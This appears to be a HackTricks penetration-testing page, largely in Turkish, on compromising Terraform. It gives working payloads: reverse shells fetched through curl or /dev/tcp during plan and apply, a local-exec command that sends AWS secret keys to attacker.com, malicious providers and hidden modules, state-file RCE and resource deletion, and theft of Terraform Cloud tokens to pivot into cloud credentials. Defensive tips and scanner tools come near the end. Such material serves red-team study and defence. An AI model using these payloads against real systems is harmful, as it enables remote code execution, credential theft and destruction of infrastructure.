Terraform Güvenliği

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

From the docs:

HashiCorp Terraform, sürümlenebilir, yeniden kullanılabilir ve paylaşılabilir insan tarafından okunabilir yapılandırma dosyalarında hem bulut hem de kurum içi kaynakları tanımlamanıza izin veren bir infrastructure as code tool’dur. Ardından, tüm altyapınızı yaşam döngüsü boyunca sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, compute, storage ve networking gibi düşük seviyeli bileşenlerin yanı sıra DNS girdileri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir.

Terraform nasıl çalışır?

Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları onların uygulama programlama arayüzleri (API’ler) aracılığıyla oluşturur ve yönetir. Providers, Terraform’un erişilebilir bir API’ye sahip neredeyse her platform veya hizmetle çalışmasını sağlar.

HashiCorp ve Terraform topluluğu, binlerce farklı kaynak ve hizmet türünü yönetmek için 1700’den fazla provider yazdı ve bu sayı artmaya devam ediyor. Tüm herkese açık provider’ları Terraform Registry üzerinde bulabilirsiniz; örneğin Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha fazlası.

Terraform’ın temel iş akışı üç aşamadan oluşur:

  • Write: Kaynakları tanımlarsınız; bunlar birden fazla cloud provider ve hizmeti kapsayabilir. Örneğin, güvenlik grupları ve bir load balancer ile bir Virtual Private Cloud (VPC) ağında sanal makineler üzerinde bir uygulama dağıtmak için bir konfigürasyon oluşturabilirsiniz.
  • Plan: Terraform, mevcut altyapı ve konfigürasyonunuz temelinde oluşturacağı, güncelleyeceği veya sileceği altyapıyı tanımlayan bir yürütme planı oluşturur.
  • Apply: Onaylandığında, Terraform önerilen işlemleri doğru sırada, herhangi bir kaynak bağımlılığını gözeterek gerçekleştirir. Örneğin, bir VPC’nin özelliklerini güncellerseniz ve o VPC’deki sanal makine sayısını değiştirirseniz, Terraform VPC’yi yeniden oluşturduktan sonra sanal makineleri ölçeklendirir.

Terraform Lab

Sadece bilgisayarınıza terraform’u kurun.

Here you have a guide and here you have the best way to download terraform.

RCE in Terraform: config file poisoning

Terraform doesn’t have a platform exposing a web page or a network service we can enumerate, therefore, the only way to compromise terraform is to be able to add/modify terraform configuration files or to be able to modify the terraform state file (see chapter below).

Ancak, terraform doğru şekilde çalışabilmesi için farklı konumlara ayrıcalıklı erişime sahip olacağından, ele geçirildiğinde çok hassas bir bileşen olur.

Bir saldırganın terraform’un çalıştığı sistemi ele geçirebilmesi için en yaygın yol, terraform konfigürasyonlarını depolayan repository’yi ele geçirmektir; çünkü eninde sonunda bu konfigürasyonlar yorumlanacaktır.

Aslında, bir PR oluşturulduktan sonra terraform plan/apply işlemlerini otomatik olarak çalıştıran çözümler bulunmaktadır; örneğin Atlantis:

Atlantis Security

Eğer bir terraform dosyasını ele geçirebilirseniz, birisi terraform plan veya terraform apply çalıştırdığında RCE gerçekleştirebileceğiniz farklı yollar vardır.

Terraform plan

Terraform plan, terraform’da en çok kullanılan komuttur ve terraform kullanan geliştiriciler/çözümler bunu sürekli çağırır; bu yüzden RCE elde etmenin en kolay yolu, bir terraform plan sırasında rastgele komutlar çalıştıracak şekilde bir terraform konfigürasyon dosyasını zehirlemektir.

Using an external provider

Terraform, Terraform ile harici programlar arasında arayüz sağlamaya yarayan external provider sunar. external data source’unu bir plan sırasında rastgele kod çalıştırmak için kullanabilirsiniz.

Bir terraform konfigürasyon dosyasına aşağıdakine benzer bir şey enjekte etmek, terraform plan çalıştırıldığında bir rev shell çalıştıracaktır:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Özel provider kullanımı

Bir saldırgan, custom provider’ı Terraform Registry’ye gönderebilir ve sonra bunu bir özellik dalındaki Terraform koduna ekleyebilir (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Provider init sırasında indirilir ve plan çalıştırıldığında kötü amaçlı kodu çalıştırır

Bir örneğini şu adreste bulabilirsiniz: https://github.com/rung/terraform-provider-cmdexec

Harici bir referans kullanma

Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değiller (ikincisi birinciden daha gizli fakat daha karmaşıktır). Bu saldırıyı aşağıdaki önerileri izleyerek daha gizli bir şekilde gerçekleştirebilirsiniz:

  • Rev shell’i doğrudan terraform dosyasına eklemek yerine, rev shell içeren bir harici kaynak yükleyebilirsiniz:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Harici kaynakta, repodaki bir branch içine terraform rev shell code in a branch’i gizlemek için ref özelliğini kullanın, örneğin: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır; ayrıca RCE elde etmek için a malicious Terraform file with local-exec.
Tek yapmanız gereken, aşağıdakiler gibi bazı payload’ların main.tf dosyasında sonlanmasını sağlamaktır:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Önceki tekniğin önerilerini izleyin ve bu saldırıyı harici referanslar kullanarak daha gizli bir şekilde gerçekleştirin.

Secrets Dumps

terraform apply çalıştırarak terraform tarafından kullanılan gizli değerlerin dökülmesini sağlayabilirsiniz; terraform dosyasına şu gibi bir şey ekleyerek:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform State Dosyalarını Kötüye Kullanma

Eğer terraform state dosyaları üzerinde yazma izniniz varsa ancak terraform kodunu değiştiremiyorsanız, this research dosyadan faydalanmak için bazı ilginç seçenekler sunuyor. Konfigürasyon dosyaları üzerinde yazma izniniz olsa bile, state dosyaları vektörünü kullanmak genellikle çok daha sinsidir; git geçmişinde iz bırakmazsınız.

RCE in Terraform: config file poisoning

It is possible to create a custom provider and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.

The provider statefile-rce builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute command. When the terraform run is triggered, this will be read and executed in both the terraform plan and terraform apply steps. In case of the terraform apply step, terraform will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the GitHub repository hosting the source code for this provider.

To use it directly, just include the following at any position of the resources array and customize the name and the command attributes:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Sonrasında, terraform çalıştırılır çalıştırılmaz kodunuz çalışır.

Kaynakları silme

Kaynakları silmenin 2 yolu vardır:

  1. Yok edilecek gerçek kaynağa işaret eden rastgele isimli bir kaynağı state dosyasına ekleyin

Çünkü terraform kaynağın var olmaması gerektiğini görecek ve onu (belirtilen gerçek resource ID’sine göre) yok edecektir. Önceki sayfadan örnek:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Kaynağı, güncellenemeyecek şekilde değiştirin (böylece silinip yeniden oluşturulacak)

Bir EC2 instance’ı için, instance türünü değiştirmek terraform’un onu silip yeniden oluşturmasına yeterlidir.

Kara listeye alınmış provider’ı değiştir

hashicorp/external kara listeye alınmış bir durumla karşılaşırsanız, aşağıdakileri yaparak external provider’ı yeniden uygulayabilirsiniz. Not: Biz https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan external provider’ın bir fork’unu kullanıyoruz. Kendi fork’unuzu veya yeniden uygulamanızı da yayınlayabilirsiniz.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Sonra normal olduğu gibi external kullanabilirsiniz.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

Bu senaryo, Terraform Cloud (TFC) runner’larını speculative plans sırasında kullanarak hedef cloud hesabına pivot yapar.

  • Önkoşullar:

  • Geliştirici bir makineden Terraform Cloud token’ı çalın. CLI token’ları düz metin olarak ~/.terraform.d/credentials.tfrc.json içinde saklar.

  • Token, hedef organization/workspace’a erişimi olmalı ve en az plan yetkisine sahip olmalıdır. VCS-backed workspaces CLI’dan apply’ı engeller, ancak hâlâ speculative plans’e izin verir.

  • Workspace ve VCS ayarlarını TFC API üzerinden keşfedin:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • VCS-backed workspace’ı hedeflemek için external data source ve Terraform Cloud “cloud” bloğunu kullanarak speculative plan sırasında code execution tetikleyin:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

TFC runner üzerinde reverse shell elde etmek için örnek rsync.sh:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Geçici runner üzerinde programı çalıştırmak için spekülatif bir plan çalıştır:

terraform init
terraform plan
  • Runner’dan enjekte edilmiş cloud credentials’leri enumerate ve exfiltrate edin. Çalışma sırasında, TFC provider credentials’leri files ve environment variables aracılığıyla inject eder:
env | grep -i gcp || true
env | grep -i aws || true

Runner çalışma dizininde beklenen dosyalar:

  • GCP:

  • tfc-google-application-credentials (Workload Identity Federation JSON yapılandırması)

  • tfc-gcp-token (kısa ömürlü GCP erişim tokenı)

  • AWS:

  • tfc-aws-shared-config (web identity/OIDC rol devralma yapılandırması)

  • tfc-aws-token (kısa ömürlü token; bazı kuruluşlar statik anahtarlar kullanabilir)

  • VCS gate’lerini atlatmak için kısa ömürlü kimlik bilgilerini out-of-band kullanın:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block apply via VCS.

  • Savunma önerileri:
  • TFC kullanıcıları/takımları ve tokenlar için en az ayrıcalık ilkesini uygulayın. Üyelikleri denetleyin ve aşırı geniş sahiplikteki hesaplardan kaçının.
  • Mümkünse hassas VCS-backed workspaces’lerde plan iznini kısıtlayın.
  • Sentinel politikalarıyla provider/data source allowlist’lerini uygulayarak data "external" veya bilinmeyen provider’ları engelleyin. Provider filtreleme konusunda HashiCorp rehberine bakın.
  • Statik cloud kimlik bilgileri yerine OIDC/WIF’i tercih edin; runners’ları hassas kabul edin. Spekülatif plan çalıştırmalarını ve beklenmeyen egress’i izleyin.
  • tfc-* credential artifacts exfiltration’ını tespit edin ve planlar sırasında şüpheli external program kullanımında uyarı verin.

Terraform Cloud’un ele geçirilmesi

Token kullanımı

As explained in this post, terraform CLI stores tokens in plaintext at ~/.terraform.d/credentials.tfrc.json. Stealing this token lets an attacker impersonate the user within the token’s scope.

Using this token it’s possible to get the org/workspace with:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

Böylece önceki bölümde açıklandığı gibi terraform plan kullanılarak rastgele kod çalıştırmak mümkün olur.

Escaping to the cloud

Eğer runner bir cloud ortamında bulunuyorsa, runner’a bağlı principal’in bir token’ını elde etmek ve bunu kanal dışı kullanmak mümkün olur.

  • GCP files (present in current run working directory)

  • tfc-google-application-credentials — Workload Identity Federation(WIF) için Google’a dış kimliği nasıl değiş tokuş edeceğini söyleyen JSON yapılandırması.

  • tfc-gcp-token — yukarıda bahsedileni referans alan kısa ömürlü (≈1 saat) GCP erişim token’ı

  • AWS files

  • tfc-aws-shared-config — web identity federation/OIDC rol üstlenme için JSON (statik anahtarlara tercih edilir).

  • tfc-aws-token — kısa ömürlü token, veya yanlış yapılandırıldığında potansiyel olarak statik IAM anahtarları.

Automatic Audit Tools

Snyk Infrastructure as Code (IaC)

Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki zayıflıkları ve yanlış yapılandırmaları tespit eden kapsamlı bir Infrastructure as Code (IaC) tarama çözümü sunar.

  • Features:
  • Güvenlik zafiyetleri ve uyumluluk sorunları için gerçek zamanlı tarama.
  • Sürüm kontrol sistemleriyle entegrasyon (GitHub, GitLab, Bitbucket).
  • Otomatik düzeltme pull request’leri.
  • Detaylı düzeltme önerileri.
  • Sign Up: Create an account on Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.

It scans cloud infrastructure provisioned using Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, or OpenTofu and detects security and compliance misconfigurations using graph-based scanning.

It performs Software Composition Analysis (SCA) scanning which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).

pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance terraform’a karşı hafif, güvenlik ve uyumluluk odaklı bir test framework’üdür; Infrastructure-as-Code (IaC) için negatif test yeteneği sağlar.

  • uyumluluk: Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğunu doğrulayın.
  • davranış odaklı geliştirme: Neredeyse her şey için BDD var, peki IaC için neden olmasın?
  • taşınabilir: Sadece pip ile yükleyin veya docker ile çalıştırın. Bkz. Installation
  • dağıtımdan önce: Kodunuzu dağıtılmadan önce doğrular.
  • entegrasyonu kolay: Pipeline’ınızda (veya git hook’larında) çalıştırılabilir, böylece tüm dağıtımlar doğrulanır.
  • görev ayrımı: Testlerinizi ayrı bir depoda tutabilirsiniz; sorumluluk ayrı bir ekibe ait olabilir.

Note

Ne yazık ki kod bazı provider’ları kullanıyorsa ve bunlara erişiminiz yoksa terraform plan yapamaz ve bu aracı çalıştıramazsınız.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Kaynak: docs: tfsec, terraform kodunuzun statik analizini kullanarak potansiyel yanlış yapılandırmaları tespit eder.

  • ☁️ Tüm büyük (ve bazı küçük) bulut sağlayıcıları genelinde yanlış yapılandırmaları kontrol eder
  • ⛔ Yüzlerce yerleşik kural
  • 🪆 Modülleri tarar (yerel ve uzak)
  • ➕ HCL ifadelerini ve literal değerleri değerlendirir
  • ↪️ Terraform fonksiyonlarını değerlendirir (ör. concat())
  • 🔗 Terraform kaynakları arasındaki ilişkileri değerlendirir
  • 🧰 Terraform CDK ile uyumlu
  • 🙅 Kullanıcı tanımlı Rego politikalarını uygular (ve zenginleştirir)
  • 📃 Birden çok çıktı formatını destekler: lovely (varsayılan), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • 🛠️ Yapılandırılabilir (CLI bayrakları ve/veya yapılandırma dosyası aracılığıyla)
  • ⚡ Çok hızlı, büyük depoları hızlıca tarayabilir
brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan, Infrastructure as Code için statik bir kod analizörüdür. Terrascan şunları yapmanıza olanak tanır:

  • Kod olarak altyapıyı yanlış yapılandırmalar için sorunsuzca tarar.
  • Sağlanan bulut altyapısını, güvenlik duruşu sapmasına yol açan yapılandırma değişiklikleri açısından izler ve güvenli duruşa geri dönmeyi sağlar.
  • Güvenlik açıklarını ve uyumluluk ihlallerini tespit eder.
  • Bulut-native altyapı sağlanmadan önce riskleri azaltır.
  • Yerel olarak çalıştırma veya CI\CD ile entegre etme esnekliği sunar.
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

Checkmarx tarafından geliştirilen KICS ile infrastructure-as-code uygulamalarınızın geliştirme döngüsünde güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin.

KICS, Keeping Infrastructure as Code Secure’ın kısaltmasıdır; açık kaynaklıdır ve herhangi bir cloud native proje için olmazsa olmazdır.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Kaynak: docs: Terrascan, Infrastructure as Code için statik bir kod analiz aracıdır. Terrascan size şunları sağlar:

  • Infrastructure as Code içindeki yapılandırma hatalarını sorunsuzca tarama.
  • Sağlanan bulut altyapısını, yapılandırma değişikliklerinin neden olduğu posture drift için izleme ve güvenli bir duruma geri dönmeyi sağlama.
  • Güvenlik açıklarını ve uyumluluk ihlallerini tespit etme.
  • Cloud native altyapı sağlanmadan önce riskleri azaltma.
  • Yerelde çalıştırma veya CI\CD ile entegre etme esnekliği sunma.
brew install terrascan

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin